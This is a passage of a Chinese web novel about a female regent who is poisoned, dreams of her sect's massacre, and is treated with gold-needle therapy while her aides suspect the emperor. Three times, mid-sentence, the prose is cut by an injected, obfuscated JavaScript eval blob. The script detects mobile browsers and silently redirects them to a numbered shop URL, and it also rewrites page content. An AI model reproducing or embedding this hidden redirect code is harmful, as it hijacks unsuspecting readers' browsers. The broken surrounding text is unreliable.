尺霜忽然冷不丁道:“并不是所有人都死了。” 这话说的没头没尾,李予微却是瞬间明白其中意思。 并不是所有见过贺景窈的人都死了。 并不是所有知道当年浮生楼少楼主的人都死了。 除了离素、尺霜这些他们的人,还有一人。 这个人,并不属于他们的势力。 尺霜迟疑片刻,还是决定开口: “主子,这个人不能留。” “尺霜。” “我说过,这个人不可提。” 李予微神色平淡,声音却带着一种不容置疑,尺霜神情挣扎,却还是决定继续道: “可是主子,这个人不仅知道您的身份,到现在那群人还在拥护……” “尺霜!” 这次李予微的声音猛的拔高了几分,带着之前没有的凌厉。 虽然在他人面前,她是冷血无情的祸国奸相,但其实面对自己人,她极少有疾言厉色的时候。 “我一直觉得你不是一个多言的人。” “如果有我说的话不管用,那以后就不用跟在我身边了。” 后面两句话李予微说的很平淡,却犹如惊雷一般炸开在她的耳朵里。 尺霜连忙单膝下跪请罪:“尺霜知罪,请主子责罚!” 李予微也是江湖出身,最不喜这些规矩礼法,自己身边的人,若非必要,她都用不着他们遵循这些礼节的,就算对方坚持也硬要将人扶起。 毕竟论执着,这世间少有人比得过她了。 15. 奸臣当道 可如今面对尺霜跪地,李予微却一点反应都没有,甚至连眸光都没落在对方身上。 只是低垂着眼眸,看着手里的杏花,声音平静: “你不必如此,我不是喜欢留人的性子,你既不适合在我身边,那就不必留了。” “况且你本身也不该是我的下属。” 李予微仿佛在说一件再平淡不过的事,尺霜却感觉浑身坠入冰窟,比这二月的风还要寒凉几分。 她重重磕下一个头,声音沉重: “尺霜发誓此后守口如瓶,绝不再提,主子不要赶我走!” “尺霜是主子的人,无论生死都绝不会离开主子!” 李予微在尺霜磕头时就手指微动,可微微倾了倾身就感觉心口突然一窒,最终暗暗吸气,勉强维持住身体平衡,外表看不出半分异样。 而尺霜却心中更是慌张,她微微抬头看向主子,主子沉默不言,也没有任何动作,只是一直盯着手里的杏花,像是要再看出一朵花一般。 不过也没多久,李予微就被这寒风吹的连连低咳,眼前也开始发黑,最后掩饰般的拂袖转身,不愿意让人看到般提步离开。 空气中只留下一道平静声音: “下不为例。” 尺霜这才微微松了一口气,连忙起身跟了上去。 许是因为刚才的事,见李予微不停的低咳,尺霜眼含担忧,却终究没有再开口。 不是刚金针通脉过吗?怎么感觉主子的身体反而更加差劲了? 刚走到殿门前,李予微又碰到了再度前来的周玄祁。 李予微深深看了他,却并没说话,不过周玄祁着急看母后,也并没有过多在意。 但金吾卫并没有如他所愿,而是在李予微示意下将人带到偏殿。 自然是因为此刻阿姐好不容易睡下,她自然不能让这他轻易就给搅了。 不过偏殿周玄祁很熟,甚至一头一砖一木都格外熟悉。 毕竟在这偌大的未央宫中,他呆在偏殿的时间远远大于呆在主殿的时间。 他等待母后的时间也是远远超过与母后见面的时间。 如今他已经十分熟练,派人去取了奏章就要在偏殿批改起来。 只是在转身时,听到了李予微压制的低咳声,脚步还是一顿。 “摄政王可是病了?” 李予微顿了顿,抬头看向他,眼神却是他看不懂的深邃,最后垂下眼眸,淡淡开口: “只是一时受了风,并无无碍,多谢陛下关心。” 周玄祁抿紧了嘴唇,他也不知自己方才怎么问出这句话,转身就要离开,但这一次却被李予微叫住了。 “陛下。” 周玄祁停住脚步,转身看她: “摄政王何事?” 李予微看着面前的周玄祁,不知道何时他已经有自己高了,身姿挺拔,气质如松,小小年纪就因常年身处高位,带着一般人没有威压,真的很有皇帝的样子了。 从前他总是那么心软,别人只要露出一点点好意,就会毫不犹豫的为之退让。 这样对普通人来说很好,但若是当帝王,就不好了。 帝王总是要冷硬下心肠的。 如今…… 如今很好,已经很好了。 她该开心的,曾经的小孩终于有了帝王的城府。 这很好,不是吗,如今就算她不在,他也能够独当一面了。 见李予微不说话,像是在看着他想些什么,周玄祁微微皱眉。 “摄政王?” 李予微回过神来,眼前已经开始发黑,她咬了咬舌尖,迫使自己更清醒一些。 她其实有一些话要嘱咐,但她现在的状况显然不是说话的时机了。 或许那些话也不用她说了,李予微最后只是垂眸开口道: “娘娘近日生病,陛下这几日多来看看娘娘吧。” 周玄祁不理解的看向她,叫住他就是为了说这个? 他当然会来看望母后,只是之前是谁拦着他不让进的。 现在又让他多来。 这人到底是什么意思? 但李予微并没有再等待他的回答,说完就转身离开了。 阿姐要回姑苏,这太后的身份自然是要对天下公布已死了。 可她目前也在犹豫,要怎么和周玄祁说。 从阿祁失忆后,先帝就在宫中下了禁令,绝不可在阿祁面前谈浮生楼的事,知道阿身份的人也在这些年基本都送走了。 所以阿祁也只知道自己的母亲出身民间,更多的都并不了解。 一旦他知道了阿姐回姑苏,肯定会去查这件事,如今以李予微的权势不是不能全瞒下来,可有些事越是查不出,就越说明有问题。 阿姐的身份是瞒不住的,一查肯定会查到浮生楼,而浮生楼的那些过往,李予微并不想让周玄祁知道。 若是她以往的做法,干脆一切都瞒着,就让他以为阿姐真的死了是最简单的。 可是她脑海中总是想起知道阿姐死讯时,他满眼赤红,痛不欲生的样子。 母子连心,纵使这些年阿姐多次疏远,却还是没有改变她在这阿祁心中分量分毫。 她还是舍不得……让他再经历丧母之痛,这对他来说还是太残忍了。 一时之间思绪纷乱,脑袋也越发昏沉起来,方才她强撑着一步步走出去不让周玄祁看出什么,只不过刚走出未央宫,她的脚步就踉跄了起来。 尺霜想扶着她到偏殿休息,但她坚持要出宫回府,尺霜无奈只好将人扶上轿辇。 等出了宫门,刚上马车,李予微整个人就近乎栽倒般,倒在马车的坐榻上。 但她还没彻底失去意识,迷迷糊糊的感受到了马车的前进。 马车穿过市集,嘈杂的声音不断传来,隐约间她好像听到了一抹熟悉的声音。 “都说了不要跟没见过世面一般,这里可是你师父我的地盘,以后你是可以横着走的。” “得了吧师父,咱刚才来时,你连路都记错了。”一个更显稚嫩的少年声音紧接响起: “你说你记错就记错呗,还不信邪,偏说你和人家认识,死要面子的带着我硬闯了别人的地方,刚才咱俩差点被横着扔出去。” 男子声音带着几分心虚,却又紧跟着保证:“那是我认识的那家人搬走了,也没跟我说一声,害得我都认错了,下次不会了。” “你信我,你师父我在京城有人,搁以前,你见我都是得摇号的!” 少年声音无奈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588905|143192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“是是是,那师傅你能先摇个人,把咱俩的落脚问题解决一下吗?咱们最后的几文钱在刚才都没你拿去买包子了。” 男子清了清嗓子,故作姿态道:“咳,你别急啊,让为师想想选哪个好,嗯……无论选谁都会让其他人感到深深的嫉妒啊,朋友多有时候也是很苦恼的啊……” 少年十分无语,猛然拔高嗓音:“师父——” “诶呀,都说了别催,我挑选不需要时间的啊,一看你这就没朋友,不懂我的苦恼。” “我是不懂,但我知道按照您这么挑下去,等太阳落山都未必能挑出来,只怕到时候咱俩就算去破庙都未必能抢到地方。” “都到了京城咱俩还需要去破庙抢地方?诶呀呀,都说了别打扰我思考。” 是他? 他来京城了? 听到这声音的李予微心里这般想着,可身体的无力让她无法起身看一眼。 而随着与马车的错开,两人的声音越来越远,男子走着走着,似有察觉,回头一看,身后什么都没有。 马车早已拐弯,已经脱离了视线。 怎么突然觉得自己好像错过了什么? 男子垂下眼,放下心中无来由的感觉,继续往前走。 想多了吧。 李予微是被尺霜扶着,强撑着进的摄政王府,一进屋门,就再也支撑不住了。 失去意识前,她拉着尺霜嘱咐她守好府内,不能将消息传出,尤其是不能找离素,她坚持出了宫门就是为了不让离素知道。 最后尺霜将人扶在床上,最后还是没有派人去宫里请离素。 好在因为李予微虽无大病,但小病不断,府里一直是有府医的。 府医水平看不出尽春华的影响,只判断出是普通的风寒,因身体虚弱才导致高烧不退,便只是开了几副药。 尺霜急忙去煎药了,一幅幅嘈杂的,混乱的画面在梦境中不断钻入脑海里,床榻上的李予微此刻陷入了一个很长的梦魇。 李予微发觉自己又一次站在了浮生楼中。 到处都是火,木柱被烧裂的声音吱嘎作响,鲜血几乎要灼伤她的眼睛。 无数的尸体四处铺陈,周围的灼热几乎要将人生生烤成焦土。 李予微转身,在一片混乱中,就见到从火海中冲出,浑身是血的父亲,怀里抱着的是被护着分毫未损的周玄祁。 “阿窈快走!带着阿祁走!” 李予微看着父亲朝她冲过来,可当她伸出手,面前的父亲却穿过了她。 李予微怔然转身,却见到父亲走到了她身后的女子面前。 那女子年岁不大,仍带稚嫩的面庞上叠加了重重的血渍,浑身上下不知道有多少道伤痕,仅仅凭着手中的剑支撑着自己不会倒下。 那是她…… 不,那是十五岁的贺景窈。 此时的贺景窈同样身受重伤,曾经不舍沾上半分血的逢春剑,此刻也不知斩下了多少人命。 身边横尸着的,已经分不清是浮生楼弟子,还是围攻者的尸体。 鲜血将剑身蒙上了雾蒙蒙的一片,却仍旧用自己的剑身勉力支撑着已经精疲力竭的主人。 “不!我不走!” “这群畜生!我要杀光他们!” 16. 奸臣当道 少女拼命挺直了脊背,一双眸子里燃着刻骨的仇恨,竟比身旁熊熊燃烧的火焰还要滚烫几分,像是要把周围一切统统燃尽一般。 “不!阿窈!他们不仅仅是点苍门的人,是朝廷!他们还有朝廷的暗卫!” “他们派出了数倍的人手,今日就是要打定主意要灭浮生楼满门!” “你快带着阿祁走!去找你姐姐姐夫!只有到他们那里才能彻底躲掉追杀。” “今日已经是必死之局,你只有活下去,才能为我们报仇!” “你要记住,你是浮生楼少楼主,你在!浮生楼便在!” “你活着,浮生楼就绝不会倒!” 一旁的李予微僵硬看着这一幕,她知道这一切都是梦,却仍旧想要伸出手挽留只有在梦中才会偶尔出现的父亲。 但却只能眼看着父亲穿过她的手,背影在这片混乱中越来越远。 紧接着场景变幻,浑身是血的少女被人从角落里扯了出来,扔在地上拖出一道长长的血痕。 少女费力想要挥舞的逢春剑被人踹飞到一边,正好落在李予微的脚边,还没等李予微伸手,先一只手出现将剑捡了起来。 捡剑是一个十八九岁的年轻女子,一席白衣,金色丝條系在腰间,在这片混乱硝烟中,那抹胜雪的白显得格外刺目。 女子观摩了手中长剑,一张芙蓉面上满是疑惑的神色: “剑本凶器,应该浴血嗜杀,怎么这柄剑明明是出了名的神兵利器,却一沾血就像污了剑身一般,反而不亮了。” 说着还甩了甩剑,将剑尖的血渍甩去,却发现剑身仍旧黯淡无光时,不禁惋惜道: “可惜了。” 说着像想起什么一般,看向地上不断挣扎的人,俯下身,抬起了对方的下巴,笑意盈盈道: “又见面了,少楼主。” “只是没想到这次见面,居然是这样的场景啊。”女子声音略带遗憾道。 “曲清欢……” 少女瘫倒在地上,浑身没有半分力气,被迫抬起头时眼睛里写满了刻骨的仇恨。 白衣女子笑意敛了敛,微微叹道: “不要这么看着我啊,要知道方才我过来时,看到了令堂孤身奋战,着实可怜,就把他一起带来了。” 说着白衣女子一挥手,就有两个人拖着一个浑身是伤的女子扔到了她的面前。 女子显然被废掉了手脚,但仍旧破口大骂,少女见到女子,眼中终于闪烁起了微微光亮,费力的开口: “阿娘……” 女子听到这声呼喊停了下来,朝声源看去,待看清旁边浑身是血,几乎毫无声息的少女时,眦目欲裂。 “阿窈!” “你们放了她!!放开她!!” 待看到白衣女子时,眼睛几乎要喷出火来。 “是你……你这个畜生,上次你来我还拿出好酒好菜招待,那顿饭菜不如喂了狗!” 白衣女子听到骂声也不生气,反而叹息道: “伯母啊,上次见面我就提醒你们了,浮生楼本身与皇亲结亲,本身就太过招摇,自当收敛行事,如今浮生楼所作所为又太过越界,自然就惹到了上面那位不满。” “可你们倒好,不仅不勤加约束门下弟子,反而依旧我行我素,甚至威胁到了上面那位地位,如今这般局面,你这不也应该早有预料嘛。” “太过越界……”地上的女子死死念着这几个字,一双眸子近乎泣血。 “你口中的太过越界就是斩了了去北戎求降的使者,杀了一味求和世家朝臣?” “你口中的那位,坐于高位之上,不仅偏信世家,致使百姓饥不裹腹,民不聊生,还在北戎侵扰之时,不仅一昧割地求和,甚至联手北戎,将我大兴护国将军斩杀在幽州城中。” “一国之君啊!居然通敌卖国,何其可笑!” “就这样的君主,你还对其多加拥护,亏你们点苍门也是江湖一流门派,居然如此善恶不分,一昧当那狗皇帝的走狗!” 白衣女子皱眉:“陛下乃天子,天下之民皆为陛下之子,就算如今陛下处事不清,为人臣子不仅不多加劝导,却还试图颠覆皇权,行倒反天罡之事。” “就凭这一点,你浮生楼死的不冤。” 听到这话,地上浑身血污的女子忽然大笑了起来,只是那笑声中淬满了痛苦与癫狂。 “好一个不冤,曲清欢,你真以为你所信奉的陛下会永远的护着你,那位可是忌惮着所有的江湖势力。” “我浮生楼的今日,就是你们点苍门的明天,我也会在地下日日盼着,等着你们坠入那无边的地狱……” 长剑穿透了女子的后心,白衣女子甚至怕人死的不够透彻,还翻搅了几下,直到确定女子再无气息时,这才收了剑,神情冷漠道: “在我们坠入地狱前,您怕是要先去地狱探一探了。” 一旁的少女在剑穿透时就拼命挣扎,却被人死死按在地上,她的一双眼睛尽被血色蒙染,嘶哑声音从喉咙间间溢出,一字一句像是从骨髓里扣出来来一般。 “曲、清、欢!” “我会杀了你!我一定会杀了你!我会亲手杀了你!” 白衣女子在听到这句话时,转头看向少女,脸上却再一次绽放出一抹笑容,仿若芙蓉盛开一般,声音带着女子间的亲昵。 “好啊,阿窈,我等着你杀我。” “如果你能活下来的话。” —— 尺霜一进屋,就见到原本在床榻上的主子睡得十分不安稳,连头上的帕子也都滑落在一侧。 嘴里似乎在呢喃些什么,靠近了却又听不清楚。 她想喂主子喝药,却根本喂不进去,好不容易喂进去一点又被尽数吐了出来。 主子已经高热三天不退了,尺霜此刻心中十分焦急。 这时外面却传来动静,尺霜出去一看,一名蓝白长衫男子从外面急匆匆走进来。 尺霜一见,一向面若霜寒的面容,此刻也眼眶微红。 “斯南,你可算回来了。” “我刚处理好那边的事,一回来就听说主子病了?如今如何了?” “还在烧着,药也喂不进去,目前只能用水擦拭降温。” 斯南一听也顾不得其他,一进屋就看到双颊绯红的主子,伸手一探,温度仍旧滚烫。 斯南微微皱眉:“离素姑娘怎么说的?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588906|143192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 并没有得到回复,转头一看,就见尺霜一向绷住的脸开始纠了起来。 斯南眉头皱的更紧了:“怎么回事?” “还没去请离素姑娘。” 斯南不可置信看向她:“主子已经病了三天了,怎么还没请离素姑娘?!” 尺霜此刻也不纠结了,干脆全都说了出来: “主子就是从宫里回来后病倒的,昏迷前特意嘱咐不可惊扰宫中任何人,尤其是离素姑娘。” 斯南觉得自己额头青筋猛跳,一向好脾气的性格此刻都要被这话气到了,声音中隐隐带着愠怒。 “以前倒没觉得你这么听主子的话,怎么现在什么事情分不清轻重缓急?到底是命令重要,还是主子的命更重要!” “现在赶紧入宫,去请离素姑娘!” “是!”尺霜脸也不绷了,如蒙大赦一般急忙跑了出去,但毕竟进出宫门流程繁琐,等尺霜把人带到时天又一次黑了。 离素一进屋看到床榻上的李予微,脸就瞬间沉了下来,一边上前探脉,一边没忍住低骂几句。 “你告诉我这怎么回事?前几天不是还好好的吗?她又干什么了。” “主子从三天前宫里回来便一直这样了,还请离素姑娘仔细看看。” 离素一愣,这时才注意到屋里的多出来的男子。 “斯南你回来了,那正好,尺霜根本管不了这丫头,三言两语就被制住了。” “你回来好好看着点这家伙,没一天不让人操心的。” 斯南一愣,看向尺霜,而尺霜早就低下了头,想来肯定是她在未央宫请罪时被离素看到了。 斯南见她这样,此时也没多问,只是去问主子目前的情况。 而离素则把脉的手一直没撤,神情却越来越严肃,然后紧接着上一旁拿纸笔写方子,一边写一边道: “我这次来没带金针,但我记得这府里一直有备,尺霜,去给我取来。” 然后将方子和药箱里的一个药瓶都交给了斯南。 “立刻去准备药浴,这次金针通脉要在药浴中进行。” 斯南立刻去了,等一切准备好时,斯南本想自觉退出,离素却叫住了他。 “尺霜一个人按不住,你一起过去按紧她。” 斯南一听,情况紧急,此时也不矫情。 然后离素就将她的外衫脱掉,仅剩一件里衣就将人扔进了浴桶,让两个人一人按住一边臂膀。 取来的整套金针共有四十九根,几个呼吸间就有近一半已经落在了她的身上。 但这只是开始,接下来的长针才是重点,相比前面的短针,长针刺入的格外缓慢。 而从从第一根长针刺入时,一直没有动静李予微开始挣扎了起来。 尺霜和斯南立刻将人压住,而这只是第一根针。 随着长针不断刺入,李予微挣扎的越发剧烈,离素额头上的汗也不断滴落。 可她不敢有半分分心,直到最后一根长针顺着她的脊背中央深深刺入,李予微浑身颤抖的厉害。 斯南两个人死死按住,不敢让她有半分动作,而离素则在长针尽数刺入时,浑身才放松了一点,心里默数着时间。 17. 奸臣当道 李予微神智仍旧混沌,剧痛也没能让其清醒,只不过眉头蹙的死紧,唇齿间似乎在呢喃些什么。 离素靠近,却怎么都听不清在说什么,下意识道: “什么?” 一旁的尺霜听见了,犹豫的答道: “主子应该说的是……曲清欢?” “离素姑娘,曲清欢是谁啊?” 离素一听到这个名字,藏在袖子里的手猛然攥紧,脸色瞬间阴沉下来。 “一个死人。” 尺霜被离素猛然阴沉下来的脸色愣住了。 她当初刚来到主子身边时,主子还是女官。 虽然跟在主子身边时间已经不短,但主子从来不是一个喜欢说起过去的人,只有在太后娘娘那里,偶尔才会多说一点。 这么些年她也大概清楚关于浮生楼的往事,和主子的身世。 但曲清欢这个名字,却是这么多年头一次听到。 但看离素姑娘的样子,显然应该是敌人。 尺霜看向斯南,却见他眉头拧紧,显然是知道什么,垂下了眼眸。 离素算着时间差不多了,就先把几根短针拔了出来。 至于几根长的金针,离素则用内力操控着抽出。 刹那间,极长极细的金针从李予微的身体破体而出,带出了丝丝缕缕的血迹,在白色的里衣上染出点点的血花,如落在白雪中的的朵朵红梅,凄艳残破。 而浴桶中的女子也像失去了支撑,毫无声息的软倒在一旁,像没有生息的娃娃。 “主子!”尺霜惊呼出声:“离素姑娘!主子这是……” 离素像是察觉到了什么,脸色难看的厉害。 “去查你们主子最近的饮食日用,一分一毫都不要放过,我倒想看看谁这么有胆子,能在我眼皮子底下下毒!” 下毒两字一出,无论是斯南还是尺霜都猛的一惊,脸色直接就冷了下来。 斯南冷声道:“敢问离素姑娘,主子中的是什么毒?” 离素捏紧金针,指尖捏的发白,却掩不住她体内的愤怒,她一字一句,声音像从牙根里咬出来一般: “归,心,散。” 这个毒她研究了近十年,没有人比她很清楚了,如今却是绝不会探错的。 “下毒者放的剂量不大,时间应该也不长,归心散又无色无味,进入体内无影无踪,在发作前都是毫无声息的,所以根本探不出来。” “若不是你们主子体质特殊,一点点毒都会被放大数倍,也不会这么容易就被人摸出来。” 最近主子服用的与往常不同的东西…… 尺霜不知想到了什么,当场就要冲出去,却又像顾忌着什么一般,看向浴桶中的女子。 离素:“你们主子这里有我,放心吧。” 尺霜这才又要冲出去,而斯南看向尺霜的背影,若有所思,但还是先向离素揖了一礼。 “那主子就拜托离素姑娘了。” 这才转身,还没走几步,就听到一个虚弱又略微嘶哑的声音想起: “斯南。” 斯南猛的转身,却见浴桶中的李予微不知何时醒了。 她费力撑起身子,脸色苍白,眸光却平静的厉害,仿佛中毒的人不是她一般。 “去把尺霜叫回来。” 尺霜性子她再了解不过,平时看起冷静自若,实则最压不住脾气。 “这件事,不许任何人传出消息。” “尤其是宫里那边。” 斯南看向自家主子,看来主子是知道下毒的人是谁了,眸色深了深,但还是低声应答: “是。” 等斯南退出去后,李予微便从浴桶里走了出来,进了里屋换好衣服。 一旁的尺霜原本想扶她,身为大夫自然清楚她目前的状态能不能站起来。 但看她在自己面前仿佛没事人一般,暗自强撑的样子,直接被气笑了。 “摄政王殿下倒是一如既往的能强撑,还不让尺霜去找我,怎么,我这个药王谷传人现在在你眼里成了洪水猛兽了是吗?” 李予微也在心里暗自叹气,千叮咛万嘱咐,好不容易回了摄政王府,本以为能瞒下来。 却没想到自己这一觉睡了这么久,又赶上斯南这个时候回来,弄到了最后还是把素素姐给惊扰了过来。 她在别人面前说一不二,在阿姐面前也能藏的滴水不漏,唯独在素素姐面前,总有种莫名的理亏感。 见她沉默不说话,离素微眯了眯眼。 “上一次把脉因归心散剂量微小,所以我没探出来,但你本身也对毒敏感,金针通脉时自己应该是有感觉的吧。” “可你不仅什么都没和我说,还等阿姝一醒就急匆匆的离宫,还下令不准尺霜找我。” 紧接着离素语气凉凉: “我说摄政王殿下,你该不会到现在还在懊悔自己睡了太久,才让尺霜不得不找到我这里吧。” 离素紧紧盯着面前人,自然没错过女子眼中一闪而过的心虚之色,顿时胸腔中火气直冲上头,当即冷笑出声: “行啊,李予微,你可真行。” “你平时在朝堂上说一不二,都不屑用这种把戏,怎么现在尽数用到我身上了啊?” “我一个摆弄药材的能得摄政王殿下这般费心隐瞒,我可真是倍感荣幸啊!” 李予微头低的更深了,每到这时,又恢复到那默不作声的样子。 离素如今也不吃这套:“说说吧,刚才为什么让斯南拦着尺霜?” “你知道下毒的人是谁?” “让我想想,你平时饮食什么都有尺霜看着,能被下毒的概率不大。” “归心散下的时间也不长,你最近突然吃的东西,又能让尺霜反应那么大。” 离素不知道想到什么,脸色也猛然冷沉了起来。 “我记得因为未央宫的杏花开得好,周玄祁那小子就让人做了杏花酪,不仅送了未央宫,还送到了你那里一份。” “不会是下在了那里吧。” 此话一出,屋里瞬间寂静一片,只有灯花在燃烧中发出略微爆裂的声响。 良久,离素猛地起身,神色阴沉,眼中的愤怒几乎化为实质。 “好……周玄祁那小子可真是长本事了!” “当时我还打趣你,说无论那小子被你气成什么样,送到未央宫的东西都有有人送到你的一份。” “就算当了皇帝,也没有帝王的心狠。” “现在看来,哪里是心软,帝王心术没有人比他会了,果真是当了皇帝,就是不一样了。” 此刻离素只想冲回宫,将周玄祁那小子逮过来,然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588907|143192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将刚才给李予微治疗的金针通通都扎在他身上,好好教教他做人的道理。 “素素姐……” “别去。” —— 丞相府 斯南在后院里找到了冷着个脸的尺霜,而在她身前还有一个人,低声汇报完后,又飞快的离开。 斯南走近道: “主子让我拦下你,不过现在看来也不用了。” “怎么样,找到下毒的人了吗?” 尺霜瞬间捏紧了袖子,神情冷的像是要结冰,眼眶却微微发红。 “是陛下。” 斯南心中暗叹,果然如此。 斯南并没有意外,反而看向尺霜: “得知这件事,首先派人核查事实,确定后也没直接冲出去。” “看来我不在这段时间,你在主子身边的确行事稳重不少。” 尺霜的年岁不大,也不过二十出头,比主子还要小几岁。 而她刚跟在主子身边时也不过是个半大姑娘。 主子根本没想把她留下来,可却却不肯被安排好的正常生活,一定要跟在主子身边。 当时的主子权势还不如现在,却因为杀了太多的人,不仅京城中名声不好,朝中也有不少人想要杀她。 每日的暗杀不知道有多少,留下斯南也只是因为他武功足够高。 可这个半大的女孩,连自己都保护不好,又如何能为她效力? 主子当时是那么说的,可是斯南记得当时的主子却是一直站在窗前,看着跪在外面的尺霜看了好久。 目光像是透过遥远的远方,看向另一个同样倔强支撑的少女。 最后尺霜还是被留下来了,她以为是因为离素姑娘一句‘你身边也没有个女孩侍候,终归是不方便。’ 可实际上主子哪会在乎这些呢? 斯南觉得,当时的主子恨不得将周围所有人都推走,只将身边留给自己一个人就好。 明明自己已经那么孤单了。 之所以留下尺霜,可能也是因为自己太孤单了吧。 所以在看到一个太像曾经自己的女孩,才会想要让她变得不那么无所依靠。 这也是明明主子身边不是个清净之地,却养出了尺霜如今这般性子。 看着成熟,实际上还带着几分女孩的执拗与任性。 尺霜自己怕都不知道,主子对她胜过一般人,不然以主子说一不二的性子,她屡次越界,主子不会愿意留在身边。 平时不要求她服侍,反而读书武艺,琴棋书画样样都学。 要不是这丫头执拗又争气,以最良好的成绩换来的唯一要求就是时刻在主子身边。 只怕等她学几年,就会将人送到更平和的城市,而不是留在她自己身边这个权利场里吧。 而此时已经长成的姑娘,红着眼眶看向自己的同伴,也是兄长一般的人: “你不生气吗?” “主子一整颗心都在为他筹谋,可他却……” “就算他记不得过往,也不能成为理由。” 斯南看着这副摸样的尺霜,心中忍不住微叹。 还是小姑娘啊。 “你也说了陛下记不得过往。” “而且,我不觉得是陛下。” 尺霜神情一顿:“什么意思?” 18. 奸臣当道 斯南道:“你跟着主子的时间比较晚,那时主子已经和陛下开始疏离了。” “但在最开始,不仅仅主子对陛下全心全意,陛下对主子也是极好的。” “你没有看到可能很难体会,但别看主子和陛下看着水火不容一般。” “但其实陛下对主子最多也只是口头上的争吵,这么多年,除了朝堂上保皇党对主子极力反抗,陛下可真做出什么对主子不利的?” “那是因为主子权势滔天。”尺霜忍不住反驳。 “你也说了主子权势滔天。”斯南道:“那身为帝王,岂能容忍卧榻之侧他人酣睡?” “就算明面势力敌不过,那暗中不会费尽心思除掉对方?” “可我们这么多年为主子挡下明枪暗箭无数,有哪一次是陛下派来的?” “就像这次主子中毒,难道不是因为不仅仅主子,连我们都不曾对陛下设防,所以才中了计?” “要知道陛下送来的吃食这么多年可不止这一次,真要下毒还用得着等今天?” “就像主子所说,陛下是明君之材,不过一旦面临感情之事就会格外心软。” “陛下要是真有能下毒的这份果决与狠心,很多事肮脏事主子也没必要大包大揽,事力亲为。” “但那是以前!”尺霜怒声打断道:“是斯南你没看到!” “从主子将张若朴那个狗贼除了后,陛下就派过暗卫暗杀主子,只不过那次被太后娘娘拦下罢了。” “但陛下已经对主子动了杀心了!” “什么?张若朴死了?到底怎么回事?” 显然斯南刚回京城,而张若朴满门被灭一事虽京城中人尽皆知,却碍于金吾卫威压,竟还没怎么传出去,斯南自然不清楚。 待尺霜将这件事一五一十说明后,斯南也陷入了沉默。 但斯南终归老道,就算抛却了最开始对陛下的滤镜因素,还是很快发现了不对。 “就算如此,陛下彻底恨上了主子,却也没办法在杏花酪中下归心散,且不说毒是在未央宫下的,当时太后也在,会不会误伤太后。” “光论这归心散,你以为是那么好拿到的?” “这件事怕是陛下被人当枪使了。” 听完斯南的解释,这回轮到尺霜沉默了,不过一会就立刻要走。 “那我现在就去,一定抓住那个给主子下毒的歹人!” “站住!” 斯南有些头疼。 “刚夸了你稳重,怎么现在又做事不顾后果起来。” “主子既然没有吩咐,那自然是心里有其他的计划。” “你如此贸然出击,万一坏了主子的事怎么办?” 尺霜停住了,斯南看她像是被定在那里,整个人闷不做声的样子,倒是和主子真像。 斯南长叹一声。 “主子心里都是成算的,我们做属下的,最重要的就是要听命行事,才能最好的帮到主子。” 尺霜沉默了良久,斯南见她不说话,就想着将她拽回去,让离素姑娘一个人在那里怕照顾不过来。 没成想,还没将人带走,就听到小姑娘喑哑却又莫名带着几分恶狠狠的声音响起。 “才不是!” “要是主子在发现自己中毒时第一反应和你一样,就不会从未央宫一出来就急忙回府,还不让离素姑娘知道。” 如果真的在毒发时,主子就觉得毒不是陛下下的,以主子对陛下的在意程度,首先要做的就是要先把整个皇宫翻过来,找出下毒的人。 直到确保不会有任何危及到陛下和太后的因素后,才会顾及其他。 而不是像现在这样,逃一般的回到丞相府,下令不准泄露消息,也不准告诉离素姑娘。 更不会在她几度喂药时都喂不进去,甚至吐了出来。 不肯喝药,不肯治疗。 反而更像……一心等死。 想到那时躺在床榻上毫无求存欲的主子,尺霜就觉得心口一阵阵刺痛。 也许在清醒后,主子得知自己中的是归心散,会像斯南那般,冷静条理的分析出这一切的前因后果。 但在当时,主子是真的以为下毒的人就是陛下,并在床上静静等死。 如果斯南没有回来,如果她没有请来离素姑娘…… 那么在她以为只是普通风寒时,主子真的会悄无声息的死在这里。 那么到最后一刻,她都会觉得是自己至亲之人下的毒。 想到这里,尺霜就恨不得立刻将那个假借陛下手下毒的歹人揪出来,碎尸万段才痛快。 通过尺霜的话,斯南也想明白这一点,神色也很快沉了下来。 此刻的他和尺霜一样,也是恨不得立刻逮住那个借陛下手下毒的歹人。 可主子不说,他们又不敢贸然行动,一旁的尺霜也没什么头绪。 不知为何,尺霜脑海中灵光一闪,突然浮现一个名字,直觉告诉她这件事一定和这个名字有关。 尺霜转头看向斯南: “斯南,曲清欢这个名字,你知道是不是?” —— 被拉住的离素听到李予微的解释,知晓毒并非周玄祁下的时,脸色这才好看了一点。 但很快又臭了下来。 当着她药王谷传人的面被下毒,她还没发觉出来,这相当于方面打了她的脸,将她毕生所学打的七零八落。 这归心散果然是克她的! 不过归心散也不是烂大街,谁都能拿到手的。 这毕竟也是点苍门的独门秘药。 